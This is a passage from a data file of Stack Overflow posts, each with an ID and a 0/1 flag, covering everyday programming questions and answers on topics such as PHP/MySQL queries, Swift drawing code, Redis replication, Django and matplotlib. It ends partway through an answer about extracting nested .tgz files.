15213955	0	What is the intersection of two languages with different alphabets? <p>I did some googling on this and nothing really definitive popped up.</p> <p>Let's say I have two languages A and B.</p> <p>A = { w is a subset of {a,b,c}* such that the second to the last character of w is b }</p> <p>B = { w is a subset of {b,d}* such that the last character is b }</p> <p>How would one define this? I think the alphabet would be the union of both, making it {a,b,c,d} but aside from that, I wouldn't know how to make a DFA of this.</p> <p>If anyone could shed some light on this, that would be great.</p>
5912697	0	 <p>A better way to solve this issue, in my opinion, would be to edit your ~/.profile or /etc/bashrc and add the line:</p> <pre><code>export ARCHFLAGS="-arch i386 -arch x86_64" </code></pre> <p>Will save messing around with any future installations (I've just had to do this for installing lots of Perl modules in CPAN)!</p>
2600840	0	 <p>A new window is generally prompted by a target attribute on the A tag:</p> <pre><code>&lt;a href="#" target="_blank"&gt;linktext&lt;/a&gt; </code></pre> <p>FF can supress/override this behaviour in it's preferences.</p>
30041096	0	c++ pass by reference safely and compile time checking on size <pre><code>SpiDeviceDriver::SPI_Error SpiDeviceDriver::SPI_ReadBytes( quint32 size_, QVector&lt;quint8&gt;&amp; rxData_ ) { //Get data and fill QVector&lt;quint8&gt; with data } </code></pre> <p>I'm trying to call a class function (from another class) and pass in a <code>QVector</code>, then fill it with data.</p> <ol> <li><p>I prefer to just pass in the <code>QVector</code> alone (without the <code>quint32</code> size parameter) and then figure out the size from that and fill it with data according to its size. However, if the passed in <code>QVector</code> is size 0, I'd either have to assume it is meant to be size 1, creating a new spot for the data, or throw/handle the error at run-time, which i'd rather not do. Compile time error checking would be much better. Is there a better way to do this?</p></li> <li><p>I guess you could pass in a <code>quint32 size_</code> parameter, then forget what the size of the <code>QVector</code> is and force the resizing to be that size. This seems awkward as well</p></li> </ol> <p><strong>Note:</strong> I've been instructed by my boss to make every function return an <code>enum</code> error code, so just using a <code>size_</code> and creating a vector, then returning that data is not an option.</p>
24877080	0	 <p>you just want a scatter plot of points with x and y coordinates and a colour representing a third variable?</p> <p>this is what scatter is for, just use:</p> <pre><code>import matplotlib.pyplot as plt plt.scatter(x, y, c=z, cmap='jet') </code></pre> <p>you can give it any other colormap, all possibilities are shown here: <a href="http://matplotlib.org/examples/color/colormaps_reference.html" rel="nofollow">http://matplotlib.org/examples/color/colormaps_reference.html</a></p> <p>here a small example:</p> <pre><code>import matplotlib.pyplot as plt import numpy as np x = numpy.random.normal(0, 2, 100) y = numpy.random.normal(0, 2, 100) r = np.sqrt(x**2 + y**2) plt.scatter(x, y, c=r, cmap='jet') </code></pre> <p>this would give you 100 2d-gaussian distributed points with colors depending on the distance to (0,0)</p>
33296848	0	 <p>You can try to override:</p> <pre><code>- (void) setSelectedSegmentIndex:(NSInteger)toValue </code></pre>
39873396	0	 <p>In my opinion, the best way to do this is to simply use the Firebase Realtime Database:</p> <p>1) Add Firebase support to your app</p> <p>2) Select 'Anonymous authentication' so that the user doesn't have to signup or even know what you're doing. This is guaranteed to link to the currently authenticated user account and so will work across devices.</p> <p>3) Use the Realtime Database API to set a value for 'installed_date'. At launch time, simply retrieve this value and use this.</p> <p>I've done the same and it works great. I was able to test this across uninstall / re-installs and the value in the realtime database remains the same. This way your trial period works across multiple user devices. You can even version your install_date so that the app 'resets' the Trial date for each new major release.</p>
2063352	0	Caliburn and datatemplates in Silverlight 3 <p>Does anyone know if the same functionality for displaying views depending on object/viewmodel is applicable to Silverlight 3?</p> <p>Like this:</p> <pre><code>&lt;Application.Resources&gt; &lt;DataTemplate DataType="{x:Type vm:CustomerViewModel}"&gt; &lt;view:CustomerView /&gt; &lt;/DataTemplate&gt; </code></pre> <p></p> <pre><code>&lt;ContentControl Content="{Binding Path=CurrentView}"/&gt; public class RootViewModel : BaseViewModel </code></pre> <p>{</p> <pre><code>private BaseViewModel _currentView; public BaseViewModel CurrentView { get { return _currentView; } set { _currentView = value; RaisePropertyChanged("CurrentView"); } } public void ShowCustomer() { CurrentView = IoC.Resolve&lt;Customerviewmodel&gt;(); } </code></pre> <p>}</p> <p>Sorry about the formatting. Can't seem to get it right...</p> <p>/Johan</p>
7613396	0	 <p>In Visual Studio 2010, you now can apply a transformation to your web.config depending on the build configuration.</p> <p>When creating a web.config, you can expand the file in the solution explorer, and you will see two files:</p> <ol> <li>Web.Debug.Config </li> <li>Web.Release.Config</li> </ol> <p>They contains transformation code that can be used to:</p> <ul> <li>Change the connection string</li> <li>Remove debugging trace and settings</li> <li>Register error pages</li> </ul> <p><a href="http://msdn.microsoft.com/en-us/library/dd465326%28VS.100%29.aspx" rel="nofollow">link</a></p>
38499744	0	 <p>Solution for this was to install <a href="https://msdn.microsoft.com/en-us/goglobal/bb964665.aspx" rel="nofollow">Microsoft Keyboard Layout Creator</a> Then to modify selected Keyboard layout and switch these characters.</p>
7411418	0	 <p>If you only needs config file and not necessarily XML, take a look on <a href="http://www.boost.org/doc/libs/1_47_0/doc/html/program_options.html" rel="nofollow">Boost Program Options</a></p> <p>It is simple and easy to use. It use the format of .ini file.</p> <p>Example of .ini file:</p> <pre><code>[info] name=something x=0 y=0 </code></pre>
38225875	0	 <p>My apologies, I am able to set user metadata through <a href="https://github.com/softlayer/softlayer-java" rel="nofollow">SoftLayer API Client for Java</a>, here a java script, try this and let me know if you continue having issues please. Make sure to use master branch from the client.</p> <p>Script:</p> <pre><code>package com.softlayer.api.VirtualGuest; import com.softlayer.api.ApiClient; import com.softlayer.api.RestApiClient; import com.softlayer.api.service.virtual.Guest; import java.util.ArrayList; import java.util.List; /** * This script sets the data that will be written to the configuration drive. * * Important Manual Page: * http://sldn.softlayer.com/reference/services/SoftLayer_Virtual_Guest/setUserMetadata * * @license &lt;http://sldn.softlayer.com/article/License&gt; * @authon SoftLayer Technologies, Inc. &lt;sldn@softlayer.com&gt; * @version 0.2.2 (master branch) */ public class SetUserMetadata { /** * This is the constructor, is used to set user metadata */ public SetUserMetadata() { // Declare your SoftLayer username and apiKey String username = "set me"; String apiKey = "set me"; // Create client ApiClient client = new RestApiClient().withCredentials(username, apiKey); Guest.Service guestService = Guest.service(client, new Long(206659875)); // Setting the medatada String metadataTest = "test1RcvRcv"; List&lt;String&gt; metadata = new ArrayList&lt;String&gt;(); metadata.add(metadataTest); try { boolean result = guestService.setUserMetadata(metadata); } catch (Exception e) { System.out.println("Error: " + e); } } /** * This is the main method which makes use of SetUserMetadata method. * * @param args * @return Nothing */ public static void main(String[] args) { new SetUserMetadata(); } } </code></pre> <p><strong>References:</strong></p> <ul> <li><a href="http://sldn.softlayer.com/reference/services/SoftLayer_Virtual_Guest/setUserMetadata" rel="nofollow">SoftLayer_Virtual_Guest::setUserMetadata</a></li> </ul>
10109579	0	 <p>Already found a solution, 2 classes need to be modified:</p> <p>class Doctrine_Query, change preQuery method:</p> <pre><code>public function preQuery() { $doctrine_manager = Doctrine_Manager::getInstance(); if ($this-&gt;getType() == Doctrine_Query::SELECT) { $this-&gt;_conn = $doctrine_manager-&gt;getConnection('slave'); } else { $this-&gt;_conn = $doctrine_manager-&gt;getConnection('master'); } } </code></pre> <p>class Doctrine_Record, update method save:</p> <pre><code>public function save(Doctrine_Connection $conn = null) { if ($conn === null) { $conn = Doctrine_Manager::getInstance()-&gt;getConnection('master'); } parent::save($conn); } </code></pre>
31969526	0	 <p>To find the solution, I set up a virtual environment with seven Redis servers running simultaneously. They were set with sequential port numbers, with the default Redis port (6379) instance being the master. I configured two instances to be slaves to Instance_6379, and configured two more slaves each for Instance_6380 and Instance_6381, respectively. I then checked the <code>redis-cli info</code> output of each, taking note of the <code>connected_slaves</code> metric.</p> <p>Here is what I found: Masters will only report those slaves that are DIRECTLY CONNECTED to them. Slaves of slaves will NOT count towards the total number of slaves connected to the master.</p> <p>In the example image referenced in the question, the leftmost Redis server would have only two <code>connected_slaves</code> and each of its children would also show two <code>connected_slaves</code>.</p> <p>I hope this answer will be of use to someone.</p>
24169795	1	How to pass function parameters with parameter names to an external program in R? <p>For example,</p> <pre><code>passpara = function(pa, pb, pc) { # pa is not passed do1(pa) # pb and pc are passed # passed == "--pb pb_value --pc pc_value" # getpass is something I am trying to figure out passed = getpass(pb, pc) system(paste("cmd", passed)) } </code></pre> <p>To be specific, calling <code>passpara</code> like this:</p> <pre><code>passpara(pa="dummy", pb="full-iso", pc="always") </code></pre> <p>should be equivalent to call this command in shell:</p> <pre><code>cmd --pb full-iso --pc always </code></pre> <p>What would the function <code>getpass</code> look like in this case?</p> <p>I also think the <code>system</code> function is inconvenient sometimes, since it receive a string and you have to delimit arguments manually, is there something similar to python's <code>subprocess.call()</code> in R? In python you can do <code>subprocess.call(["cmd", parameter1, parameter2, parameter3])</code>, and it will delimit the args automatically, this is very handy if the args are strings that contain white spaces.</p>
18012404	0	 <p>Try to use this example</p> <pre><code>$(function(){ $('#structure').click(function(){ $('#div1').html($('&lt;div&gt;', {'text' : 'structure'})); }); $('#style').click(function(){ $('#div1').html($('&lt;div&gt;', {'text' : 'style'})); }); }); </code></pre> <p>Update</p> <pre><code>$(function(){ // load default div to div 1 $('#div1').append($('#default')); $('#structure').click(function(){ // load some div to div 1 $('#div1').append($('#divForStructure')); }); $('#style').click(function(){ // load some div to div 1 $('#div1').append($('#divForStyle')); }); }); </code></pre>
614407	0	 <p>have you tried to clean/rebuild UnitTest++ library projects (if it is build form sources)?</p>
32590195	1	Django development server inaccessible from the internet <p>I'm running a Django development server with</p> <pre><code>python manage.py runserver 0.0.0.0:8000 </code></pre> <p>It is perfectly accessible from the local machine, but not from the outer world. Windows 8.1, Python 3.4.3, Django 1.8.4.</p> <p>I've tried a different port (7500, 50001) and allowing the port explicitly at Windows Firewall (through Inbound Rules). I've also run the server on a different machine (AWS EC2) with the port allowed there, same result. </p> <p>Netstat says that the program is listening on the specified port, so theoretically it should be working. My machine is also in the ALLOWED HOSTS list in settings.py. </p> <p>I know the development server is not safe enough to be used in production, but I'm doing a small short-term thing that isn't worth bothering with proper deployment. So, any ideas what can be the problem?</p>
7649802	0	 <p><code>is_numeric</code> checks more:</p> <blockquote> <p>Finds whether the given variable is numeric. Numeric strings consist of optional sign, any number of digits, optional decimal part and optional exponential part. Thus +0123.45e6 is a valid numeric value. Hexadecimal notation (0xFF) is allowed too but only without sign, decimal and exponential part.</p> </blockquote>
9381345	0	 <p>What you are referring to is called subdomains. Have a look here for more information on them: <a href="http://en.wikipedia.org/wiki/Subdomain" rel="nofollow">http://en.wikipedia.org/wiki/Subdomain</a> </p>
25928517	0	 <p>You may need to add ng-model also to your directive to bind the selected value to controller scope.</p> <p>This might be what your are looking at:</p> <pre><code> app.directive('locselect', function () { function link(scope, element, attrs) { scope.ngModel = scope.defaultItem; console.log(scope.items); } var select = { restrict: 'E', templateUrl: 'prp-select.html', replace: true, scope: { items: "=" } } return select; }); </code></pre> <p>and your directive's template (app/search-filters/prp-select.html) should be </p> <pre><code>&lt;select ng-options="item as item.full_name for item in items"&gt; &lt;option value=""&gt;Select State...&lt;/option&gt; &lt;/select&gt; </code></pre> <p>and this is how you would want to use - </p> <pre><code>&lt;locselect ng-model="modSelectedState" items="states"&gt;&lt;/locselect&gt; </code></pre> <p>Check the <a href="http://plnkr.co/edit/XhbwhIBmmuKbkqFlWyRM?p=preview" rel="nofollow">plunkr here</a></p>
30289858	0	Is it possible to pull/push my local MYSQL db to the heroku postgresql db? <p>I need to pull the heroku db to my local and also push my db to the heroku remote. Locally I have MYSQL and in heroku it is Postgresql. I found lot ways suggested in internet but none seems to be working and most of them are very old and things have changed.</p> <p>Things tried:</p> <hr> <p><code>heroku db:push</code> - didnt work</p> <pre><code>$ heroku db:push ! `db:push` is not a heroku command. ! Perhaps you meant `pg:push`. ! See `heroku help` for a list of available commands. </code></pre> <p><code>heroku pg:push</code> : Here am not sure how to mention the source database (and i dont have a local db password)</p> <pre><code>$ heroku pg:push mysql://root:@localhost/app_development --app myapp Usage: heroku pg:push &lt;SOURCE_DATABASE&gt; &lt;REMOTE_TARGET_DATABASE&gt; push from SOURCE_DATABASE to REMOTE_TARGET_DATABASE REMOTE_TARGET_DATABASE must be empty. SOURCE_DATABASE must be either the name of a database existing on your localhost or the fully qualified URL of a remote database. </code></pre> <hr> <p>Info:</p> <hr> <pre><code>$ heroku version heroku-toolbelt/3.37.0 (x86_64-linux) ruby/2.2.1 You have no installed plugins. </code></pre> <p>OS : Ubuntu 14.04</p> <pre><code>$ heroku pg:info --app myapp === DATABASE_URL Plan: Hobby-dev Status: Available Connections: 1/20 PG Version: 9.4.1 Created: 2015-05-16 07:05 UTC Data Size: 6.7 MB Tables: 6 Rows: 0/10000 (In compliance) Fork/Follow: Unsupported Rollback: Unsupported </code></pre>
20084919	0	 <pre><code>$return_value = $driver-&gt;wait()-&gt;until($expectedCondition) </code></pre>
26904714	0	swt add widgets towards right in formLayout <p>Here is my code:</p> <pre><code>Composite outer = new Composite(parent, SWT.BORDER); outer.setBackground(new Color(null, 207, 255, 206)); // Green FormLayout formLayout = new FormLayout(); formLayout.marginHeight = 5; formLayout.marginWidth = 5; formLayout.spacing = 5; outer.setLayout(formLayout); //TOP Composite Top = new Composite(outer, SWT.BORDER); Top.setLayout(new GridLayout()); Top.setBackground(new Color(null, 232, 223, 255)); // Blue FormData fData = new FormData(); fData.top = new FormAttachment(0); fData.left = new FormAttachment(0); fData.right = new FormAttachment(100); // Locks on 10% of the view fData.bottom = new FormAttachment(20); Top.setLayoutData(fData); //BOTTOM Composite Bottom = new Composite(outer, SWT.BORDER); Bottom.setLayout(fillLayout); Bottom.setBackground(new Color(null, 255, 235, 223)); // Orange fData = new FormData(); fData.top = new FormAttachment(20); fData.left = new FormAttachment(0); fData.right = new FormAttachment(100); fData.bottom = new FormAttachment(100); Bottom.setLayoutData(fData); </code></pre> <p>I just wanted to add widgets for example label images to the right of the "TOP" composite layout. Since i am new to swt, am facing difficulty to align all the label to right of it. How could i achieve this ?</p>
37147998	0	PHP mysql returns null, hard coded SQL query works <p>I'm having an issue in which I'm unable to get my database query within a PHP program to work. The query works fine within the program if it is hard coded, but it fails otherwise and passes back no results. I have echo'd the two results and am given a different string length, but the string I am given is identical (strings gotten via var_dump). I'm at my wit's end; I'm not really sure what is the issue with the query. I have tried several different fixes which I found for similar problems, but none of them have worked. I trim the posted input and also have the variable double quoted as opposed to single quoted so that the reference executes. I really just have no clue what's wrong. Here is the code that's relevant to this project: AJAX call to php class:</p> <pre><code>chlorinator = ($('#chlorinator').val()).concat(' GS').trim(); $.ajax( { type: "POST", url: "gravity.php", data: "chlorinator="+chlorinator, cache: false, beforeSend: function () { $('#results').html('&lt;img src="loader.gif" alt="" width="24" height="24"&gt;'); }, success: function(html) { $("#results").html( html ); }}); </code></pre> <p>And here is the relevant php code:</p> <pre><code>&lt;?php include 'connection.php'; $chlorinator = trim( mysqli_real_escape_string ($dbhandle,$_POST["chlorinator"])); $query = 'SELECT chlorinators.model_name, equipment.name, equipment.cutsheet_url, chlorinators.pump_specific, equipment.file_name FROM chlorinators INNER JOIN chlorinator_equipment ON chlorinators.chlorinator_index = chlorinator_equipment.chlorinator_index INNER JOIN equipment ON chlorinator_equipment.equipment_index = equipment.equipment_index WHERE chlorinators.model_name= "' . $chlorinator . '"'; echo "The value of the combined string is:&lt;br&gt; "; var_dump($query); echo '&lt;br&gt;&lt;br&gt;'; echo "The value of the hard-coded string is:&lt;br&gt; "; $query = 'SELECT chlorinators.model_name, equipment.name, equipment.cutsheet_url, chlorinators.pump_specific, equipment.file_name FROM chlorinators INNER JOIN chlorinator_equipment ON chlorinators.chlorinator_index = chlorinator_equipment.chlorinator_index INNER JOIN equipment ON chlorinator_equipment.equipment_index = equipment.equipment_index WHERE chlorinators.model_name= "2075 GS"'; var_dump($query); echo '&lt;br&gt;&lt;br&gt;'; if ($result = $dbhandle-&gt;query($query)) {?&gt; &lt;br&gt;&lt;br&gt;&lt;?php var_dump($result-&gt;fetch_assoc()); printf("&lt;p style='font-family:sans-serif; text-align: center;'&gt;The components of the %s are listed below&lt;/p&gt;&lt;table id='form' name='pump' style='margin: auto; padding: auto'&gt;", $_POST["chlorinator"]); while($row = $result-&gt;fetch_assoc()) { printf ("&lt;div&gt;&lt;tr&gt;&lt;td&gt;%s&lt;/td&gt;&lt;td&gt;&lt;a href='%s' download&gt;Download&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;", $row["name"],$row["cutsheet_url"]); } printf('&lt;/table&gt;'); } ?&gt; </code></pre> <p>For this particular example I'm using the value '2075 GS' as the chlorinator value. It is generally passed via change on a selection box, so the values are hard coded and correct. The output of this specific example is:</p> <blockquote> <p>string(403) "SELECT chlorinators.model_name, equipment.name, equipment.cutsheet_url, chlorinators.pump_specific, equipment.file_name FROM chlorinators INNER JOIN chlorinator_equipment ON chlorinators.chlorinator_index = chlorinator_equipment.chlorinator_index INNER JOIN equipment ON chlorinator_equipment.equipment_index = equipment.equipment_index WHERE chlorinators.model_name= "2075 GS""</p> <p>string(404) "SELECT chlorinators.model_name, equipment.name, equipment.cutsheet_url, chlorinators.pump_specific, equipment.file_name FROM chlorinators INNER JOIN chlorinator_equipment ON chlorinators.chlorinator_index = chlorinator_equipment.chlorinator_index INNER JOIN equipment ON chlorinator_equipment.equipment_index = equipment.equipment_index WHERE chlorinators.model_name= "2075 GS""</p> </blockquote> <p>I don't see any difference between the two outputs; any idea as to where the one character difference is and how I can eliminate it so that my query will properly work? Any help is greatly appreciated.</p>
35951605	0	Swift xcode two errors: load controller is not allowed and autoresize not equal to views window <p>EDIT: If you need me to post more class programs just let me know in the comments.</p> <p>Screenshot of what I'm trying to create: <a href="http://i.stack.imgur.com/dmuFw.png" rel="nofollow">enter image description here</a></p> <p>NOTE: There's no need to look at the code below if you decide to run the project because all the classes I posted below are inside the dropbox zipped project file.</p> <p>Each of the squares on the bottom selects a different color and there's an invisible square that selects the type of shape off to the right of the green one. After the user selects one of these shapes, the user will be able to draw in a certain part of the screen.</p> <p>Entire project: <a href="https://www.dropbox.com/s/rhj641yku230f3v/SwiftXcodeProejctTwoErrors6767.zip?dl=0" rel="nofollow">https://www.dropbox.com/s/rhj641yku230f3v/SwiftXcodeProejctTwoErrors6767.zip?dl=0</a></p> <p>If you run the project, create an account, then click sign in, then click one of the rows, then click on one of the colored boxes (red and green squares) the app will crash and get the following error message:</p> <pre><code>2016-03-11 17:06:43.580 finalProject2[11487:1058358] &lt;UIView: 0x7faba1677710; frame = (0 0; 414 736); autoresize = W+H; gestureRecognizers = &lt;NSArray: 0x7faba1658d90&gt;; layer = &lt;CALayer: 0x7faba16563f0&gt;&gt;'s window is not equal to &lt;finalProject2.RowTableViewController: 0x7faba165a3c0&gt;'s view's window! File slot 1 File slot 2 File slot 3 File slot 4 File slot 5 File slot 6 File slot 7 File slot 8 File slot 9 File slot 10 File slot 11 File slot 12 2016-03-11 17:06:44.746 finalProject2[11487:1058358] Attempting to load the view of a view controller while it is deallocating is not allowed and may result in undefined behavior (&lt;UIAlertController: 0x7faba16b7d60&gt;) </code></pre> <p>MainProject scene class:</p> <pre><code>import UIKit weak var FirstFileNameTextField: UILabel! enum ShapeType: String { case Line = "Line" case Ellipse = "Ellipse" case Rectangle = "Rectangle" case FilledEllipse = "Filled Ellipse" case FilledRectangle = "Filled Rectangle" case Scribble = "Scribble" } let shapes: [ShapeType] = [ .Line, .Ellipse, .Rectangle, .FilledEllipse, .FilledRectangle, .Scribble ] class MainProjectScene: UIViewController { var row: Row? @IBAction func PressedSaveAs(sender: UIButton) //this is the save as function that I would like to know how to change { //1. Create the alert controller. var alert = UIAlertController(title: "Name/rename your file:", message: "Enter a filename to name/rename and save your file", preferredStyle: .Alert) //2. Add the text field. You can configure it however you need. alert.addTextFieldWithConfigurationHandler({ (textField) -&gt; Void in textField.text = "Your file name" }) alert.addAction(UIAlertAction(title: "OK", style: .Default, handler: { (action) -&gt; Void in let textField = alert.textFields![0] as UITextField print("Text field: \(textField.text)") // rows.cell.textLabel?.text = textField.text CurrentFileName = textField.text! rows[IndexPath.row].FileName = textField.text! rows[IndexPath.row].UserText = self.TextUserScrollEdit.text! })) // 4. Present the alert. self.presentViewController(alert, animated: true, completion: nil) // rows[indexPath.row].FileName = rows.cell.textLabel?.text // rows[i] = textField.text // if let detailViewController = segue.destinationViewController as? MainProjectScene { // if let cell = sender as? UITableViewCell { // if let indexPath = self.tableView.indexPathForCell(cell) { // detailViewController.row = rows[indexPath.row] } override func viewWillAppear(animated: Bool) { if let r = row { row!.FileName = r.FileName row!.QuartzImage = r.QuartzImage row!.UserText = r.UserText rows[IndexPath.row].UserText = self.TextUserScrollEdit.text! } } override func viewDidLoad() { super.viewDidLoad() TextUserScrollEdit.text = rows[IndexPath.row].UserText // FacebookButton.addTarget(self, action: "didTapFacebook", forControlEvents: .TouchUpInside) } @IBOutlet weak var TextUserScrollEdit: UITextView! @IBOutlet weak var NewFileButton: UIButton! @IBOutlet weak var TwoDQuartzButton: UIButton! @IBOutlet weak var YouTubeButton: UIButton! @IBOutlet weak var TwitterButton: UIButton! @IBOutlet weak var OpenFileButton: UIButton! @IBOutlet weak var SnapChatButton: UIButton! @IBOutlet weak var FacebookButton: UIButton! @IBAction func PressedTwoDQuartzButton(sender: UIButton) { } @IBAction func PressedSnapchatButton(sender: UIButton){ UIApplication.sharedApplication().openURL(NSURL(string: "https://www.snapchat.com/")!) } @IBAction func PressedYouTubeButton(sender: UIButton) { UIApplication.sharedApplication().openURL(NSURL(string: "https://www.youtube.com/")!) } @IBOutlet weak var InstagramButton: UIButton! @IBAction func PressedFacebookButton(sender: UIButton) { UIApplication.sharedApplication().openURL(NSURL(string: "http://www.facebook.com")!) } @IBAction func PressedInstagramButton(sender: UIButton) { UIApplication.sharedApplication().openURL(NSURL(string: "https://www.instagram.com/")!) } @IBAction func PressedTwitterButton(sender: UIButton) { UIApplication.sharedApplication().openURL(NSURL(string: "https://twitter.com/")!) } @IBOutlet weak var SaveAsButton: UIButton! // @IBOutlet weak var shapeButton: ShapeButton! @IBOutlet weak var canvas: CanvasView! @IBOutlet var colorButtons: [UIButton]! @IBOutlet weak var shapeButton: ShapeButton! @IBAction func selectColor(sender: UIButton) { UIView.animateWithDuration(0.5, delay: 0.0, usingSpringWithDamping: CGFloat(0.25), initialSpringVelocity: CGFloat(0.25), options: UIViewAnimationOptions.CurveEaseInOut, animations: { for button in self.colorButtons { button.frame.origin.y = self.view.bounds.height - 58 } sender.frame.origin.y -= 20 }, completion: nil) canvas.color = sender.backgroundColor! shapeButton.color = sender.backgroundColor! } @IBAction func selectShape(sender: ShapeButton) { let title = "Select Shape" let alertController = UIAlertController(title: title, message: nil, preferredStyle: .ActionSheet) for shape in shapes { let action = UIAlertAction(title: shape.rawValue, style: .Default) { action in sender.shape = shape self.canvas.shape = shape } alertController.addAction(action) } presentViewController(alertController, animated: true, completion: nil) } } </code></pre> <p>ShapeButton class:</p> <pre><code>import UIKit class ShapeButton: UIButton { let shapes: [ShapeType] = [ .Line, .Ellipse, .Rectangle, .FilledEllipse, .FilledRectangle, .Scribble ] var shape: ShapeType = .Line { didSet { setNeedsDisplay() } } var color: UIColor = UIColor.blueColor() { didSet { setNeedsDisplay() } } // Only override drawRect: if you perform custom drawing. // An empty implementation adversely affects performance during animation. override func drawRect(rect: CGRect) { // Drawing code let context = UIGraphicsGetCurrentContext() CGContextSetStrokeColorWithColor(context, color.CGColor) CGContextSetFillColorWithColor(context, color.CGColor) CGContextSetLineWidth(context, 2) let x1: CGFloat = 5 let y1: CGFloat = 5 let x2: CGFloat = frame.width - 5 let y2: CGFloat = frame.height - 5 let rect = CGRect(x: x1, y: y1 + 5, width: frame.width - 10, height: frame.height - 20) switch shape { case .Line: CGContextMoveToPoint(context, x1, y1) CGContextAddLineToPoint(context, x2, y2) CGContextStrokePath(context) case .Ellipse: CGContextStrokeEllipseInRect(context, rect) case .Rectangle: CGContextStrokeRect(context, rect) case .FilledEllipse: CGContextFillEllipseInRect(context, rect) case .FilledRectangle: CGContextFillRect(context, rect) case .Scribble: CGContextMoveToPoint(context, x1, y1) CGContextAddCurveToPoint(context, x1 + 80, y1 - 10, // the 1st control point x2 - 80, y2 + 10, // the 2nd control point x2, y2) // the end point CGContextStrokePath(context) } } } </code></pre> <p>Canvas view class:</p> <pre><code>import UIKit /* This program is for Xcode 6.3 and Swift 1.2 */ class CanvasView: UIView { var shape: ShapeType = .Line var color: UIColor = UIColor.blueColor() var first :CGPoint = CGPointZero var last :CGPoint = CGPointZero var points: [CGPoint] = [] // Only override drawRect: if you perform custom drawing. // An empty implementation adversely affects performance during animation. override func drawRect(rect: CGRect) { // Drawing code let context = UIGraphicsGetCurrentContext() CGContextSetStrokeColorWithColor(context, color.CGColor) CGContextSetFillColorWithColor(context, color.CGColor) let rect = CGRect(x: first.x, y: first.y, width: last.x - first.x, height: last.y - first.y) switch shape { case .Line: CGContextMoveToPoint(context, first.x, first.y) CGContextAddLineToPoint(context, last.x, last.y) CGContextStrokePath(context) case .Ellipse: CGContextStrokeEllipseInRect(context, rect) case .Rectangle: CGContextStrokeRect(context, rect) case .FilledEllipse: CGContextFillEllipseInRect(context, rect) case .FilledRectangle: CGContextFillRect(context, rect) case .Scribble: CGContextMoveToPoint(context, first.x, first.y) for p in points { CGContextAddLineToPoint(context, p.x, p.y) } CGContextStrokePath(context) } } override func touchesBegan(touches: Set&lt;UITouch&gt;, withEvent event: UIEvent?) { if let touch = touches.first { first = touch.locationInView(self) last = first points.removeAll(keepCapacity: true) if shape == .Scribble { points.append(first) } setNeedsDisplay() } } override func touchesMoved(touches: Set&lt;UITouch&gt;, withEvent event: UIEvent?) { if let touch = touches.first { last = touch.locationInView(self) if shape == .Scribble { points.append(last) } setNeedsDisplay() } } override func touchesEnded(touches: Set&lt;UITouch&gt;, withEvent event: UIEvent?) { if let touch = touches.first { last = touch.locationInView(self) if shape == .Scribble { points.append(last) } setNeedsDisplay() } } override func touchesCancelled(touches: Set&lt;UITouch&gt;?, withEvent event: UIEvent?) { } } </code></pre>
30077156	0	 <p>Try this code</p> <pre><code>var trArray = []; $('#tbPermission tr').each(function () { var tr =$(this).text(); //get current tr's text var tdArray = []; $(this).find('td').each(function () { var td = $(this).text(); //get current td's text var items = {}; //create an empty object items[tr] = td; // add elements to object tdArray.push(items); //push the object to array }); }); </code></pre> <p>Here, I just created an empty object, filled object with references of tr and td, the added that object to the final array.</p> <p>adding a working <a href="https://jsfiddle.net/kp89fd74/" rel="nofollow">jsfiddle</a></p>
37700393	0	Using Draft.js with Reagent <p>Does anyone have any luck adapting Draft.js for Reagent? There's pretty heavy editing issues if Draft.js is imported right away via <code>reagent/adapt-react-class</code>. Cursor jumps, disappearing symbols when you're typing, <code>onChange</code> calls with incorrect <code>EditorState</code>, you name it.</p> <p>People are reporting problems like this in clojurians/reagent Slack channel, but it seems there's no solution so far.</p> <p>Any help would be greatly appreciated.</p>
4432210	0	 <p>Appears to function as design.</p>
22284644	0	 <p>I got it to compile just fine with MinGW using the following script:</p> <pre><code>del *.o winurl.exe windres winurl.rc winurlres.o gcc -c winurl.c gcc -o winurl.exe winurl.o winurlres.o C:\MinGW\lib\libgdi32.a -mwindows strip winurl.exe del *.o </code></pre>
30128784	0	 <p>You will want to call gapi.auth.init. See the docs here: <a href="https://developers.google.com/api-client-library/javascript/reference/referencedocs#gapiauthinit" rel="nofollow">https://developers.google.com/api-client-library/javascript/reference/referencedocs#gapiauthinit</a></p> <blockquote> <p>Initializes the authorization feature. Call this when the client loads to prevent popup blockers from blocking the auth window on gapi.auth.authorize calls.</p> </blockquote>
40739479	0	 <p>Okay, @Arnold I'm not sure that I fully understand your question, but in case it helps, you could use the <code>background-size</code> and <code>background-repeat</code> properties, for example:</p> <pre><code>&lt;div style="background-image: url('file.png'); background-size: x% y%; background-repeat: repeat-x;"&gt; </code></pre> <p>Where x and y are percentages that represent the width and the height, respectively. So if you have an image that is portrait (taller than it is wide), set y to 100% and x to a percentage evenly divisible by 100% that best represents the aspect ratio (so something like 10, 20, 25, 33.3, 50%). This way, your image will repeat evenly along the x-axis, but won't need to on the y because it's taking up 100% of the element height.</p> <p>(Conversely, if the image is landscape (wider than it is tall), x would be 100% and y would be divisible by 100 and use <code>repeat-y</code> instead of <code>repeat-x</code>.)</p> <p>This might take some tinkering and depends on whether the image is something that will look ok with its aspect ratio being off somewhat. It may or may not be the solution you need, but I figured it's worth a shot.</p>
37391424	0	 <p>Use something similar:</p> <pre><code>if (pass1.value &amp;&amp; pass2.value &amp;&amp; pass1.value == pass2.value) { pass2.style.backgroundColor = goodColor; message.style.color = goodColor; message.innerHTML = "Passwords Match!" $("#submit").prop("disabled", false); } else { pass2.style.backgroundColor = badColor; message.style.color = badColor; message.innerHTML = "Passwords Do Not Match!" $("#submit").prop("disabled", true); } </code></pre> <p>I added two length checks (if value is <code>""</code> it is evaluated as false), and added the <code>#prop()</code> call to enable the button, when the two strings match.</p>
6478410	0	 <p>If I have not wrongly misinterpreted your question, then here is what you want to do - </p> <ul> <li>Extract a .tgz file which may have more .tgz files within it that needs further extraction (and so on..) </li> <li>While extracting, you need to be careful that you are not replacing an already existing directory in the folder.</li> </ul> <p>If I have correctly interpreted your problem, then...<br> Here is what my code does - </p> <ul> <li>Extracts every .tgz file (recursively) in a separate folder with the same name as the .tgz file (without its extension) in the same directory.</li> <li>While extracting, it makes sure that it is not overwriting/replacing any already existing files/folder.</li> </ul> <p>So if this is the directory structure of the .tgz file - </p> <pre><code>parent/ xyz.tgz/ a b c d.tgz/ x y z a.tgz/ # note if I extract this directly, it will replace/overwrite contents of the folder 'a' m n o p </code></pre> <p>After extraction, the directory structure will be - </p> <pre><code>parent/ xyz.tgz xyz/ a b c d/ x y z a 1/ # it extracts 'a.tgz' to the folder 'a 1' as folder 'a' already exists in the same folder. m n o p 